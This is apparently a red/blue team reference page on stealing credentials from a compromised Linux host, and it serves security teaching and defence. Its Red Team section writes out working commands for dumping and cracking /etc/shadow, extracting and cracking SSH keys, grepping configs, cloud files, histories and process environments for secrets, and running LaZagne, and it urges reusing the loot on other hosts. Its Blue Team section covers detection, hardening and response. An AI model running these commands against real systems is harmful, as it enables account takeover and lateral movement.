Linux Credential Theft
After compromising a Linux host, harvesting credentials is what lets you escalate, move to other systems, and persist. Linux stores secrets in many places: password hashes, SSH keys, application tokens, cloud credentials, command histories, and configurations. A host rarely lives in isolation: the credentials you find here usually open the next system.
Threat model
Section titled “Threat model”The attacker turns one local access into a spread of accesses. Each secret has a different reach: a /etc/shadow hash is cracked offline to recover the cleartext password; an SSH private key opens every host it’s authorized on; a cloud token grants access to the whole infrastructure. Password reuse across services and hosts is what multiplies the impact.
Theory / Where secrets live
Section titled “Theory / Where secrets live”Secrets appear in four broad zones: the authentication system (/etc/shadow), user profiles (~/.ssh, ~/.aws, histories), application configurations (webapps, databases), and the memory of running processes. Access depends on your privilege: /etc/shadow needs root or cap_dac_read_search; the user’s files, their own UID.
Red Team
Section titled “Red Team”System password hashes
Section titled “System password hashes”# with root or cap_dac_read_search (see lin-caps)cat /etc/shadowunshadow /etc/passwd /etc/shadow > hashes.txthashcat -m 1800 hashes.txt rockyou.txt # $6$ = sha512cryptjohn hashes.txt --wordlist=rockyou.txtFormats: $1$ MD5crypt, $5$ sha256crypt, $6$ sha512crypt, $y$ yescrypt, $2b$ bcrypt. Crackable offline depending on password strength.
SSH keys (lateral movement)
Section titled “SSH keys (lateral movement)”cat ~/.ssh/id_rsa ~/.ssh/id_ed25519 2>/dev/null # private -> access to other hostscat ~/.ssh/config ~/.ssh/known_hosts # which hosts and howfind / \( -name "id_rsa*" -o -name "*.pem" \) 2>/dev/null# passphrase-protected key -> crackssh2john id_rsa > sshhash; john sshhash --wordlist=rockyou.txtA private key without a passphrase is direct access to every host it’s in authorized_keys for.
Credentials in files and configs
Section titled “Credentials in files and configs”grep -rniE 'password|passwd|secret|api[_-]?key|token' /etc /opt /var/www /home 2>/dev/null# typical locationscat /var/www/*/wp-config.php /var/www/*/config.php /var/www/*/.env 2>/dev/null # webappscat ~/.aws/credentials ~/.config/gcloud/*.json ~/.kube/config 2>/dev/null # cloud/k8scat ~/.netrc ~/.git-credentials ~/.pgpass ~/.my.cnf 2>/dev/null # servicesgrep -i -A2 cifs /etc/fstab # mount credsHistories and process memory
Section titled “Histories and process memory”cat ~/.bash_history ~/.zsh_history ~/.mysql_history ~/.psql_history 2>/dev/null# a classic: 'mysql -u root -pSuperSecret123' gets loggedstrings /proc/<pid>/environ 2>/dev/null # a process's environment variables (with privilege)tr '\0' '\n' < /proc/<pid>/environ # more readableKeyrings and managers
Section titled “Keyrings and managers”ls ~/.config/keepassxc ~/.password-store 2>/dev/null # pass, KeePassXC# gnome-keyring / CI/CD tokens in .env, Jenkins/GitLab runners- linpeas.sh: flags found credentials automatically.
- LaZagne (
laZagne.py all): extracts credentials from browsers, keyrings, and apps. - hashcat / john: offline cracking of
/etc/shadowand app hashes.
Once you find something, reuse it: su, ssh, DB access, cloud consoles. Looting feeds escalation (privesc) and lateral movement.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- auditd: alert on reads of
/etc/shadow,~/.ssh/id_*,.aws/credentialsby unusual processes/users. - Tool execution:
unshadow,ssh2john,LaZagnepatterns, massgrep -rfor secrets. - Credential reuse: successful SSH/su logins from unusual hosts correlated in the SIEM.
Telemetry
Section titled “Telemetry”Authentication logs (auth.log), sensitive-file access events (auditd -w), and outbound SSH connections from the compromised host.
Hardening
Section titled “Hardening”- No cleartext credentials: secret managers (Vault, k8s secrets), 600 permissions,
HISTIGNORE/prompt input to keep passwords out of history. - SSH keys with a passphrase and rotation; audited
authorized_keys; ssh-agent with expiry. - Strong hashes (yescrypt/sha512) and robust passwords to slow offline cracking.
- Least privilege: a compromised user shouldn’t read
/etc/shadowor other services’ secrets.
Response
Section titled “Response”Rotate everything exposed (passwords, SSH keys, cloud tokens, app secrets), revoke sessions, and audit recent access with those credentials.
Checklist
Section titled “Checklist”-
/etc/shadow+/etc/passwd→ unshadow → crack - SSH private keys and
config/known_hosts(lateral) - Mass grep for credentials in
/etc,/var/www,/home,/opt - Cloud/k8s credentials (
.aws,.kube, gcloud) - Histories (
.bash_history,.mysql_history) - Process environment variables (
/proc/pid/environ) - Keyrings / password managers
- Reuse what’s found toward other hosts/users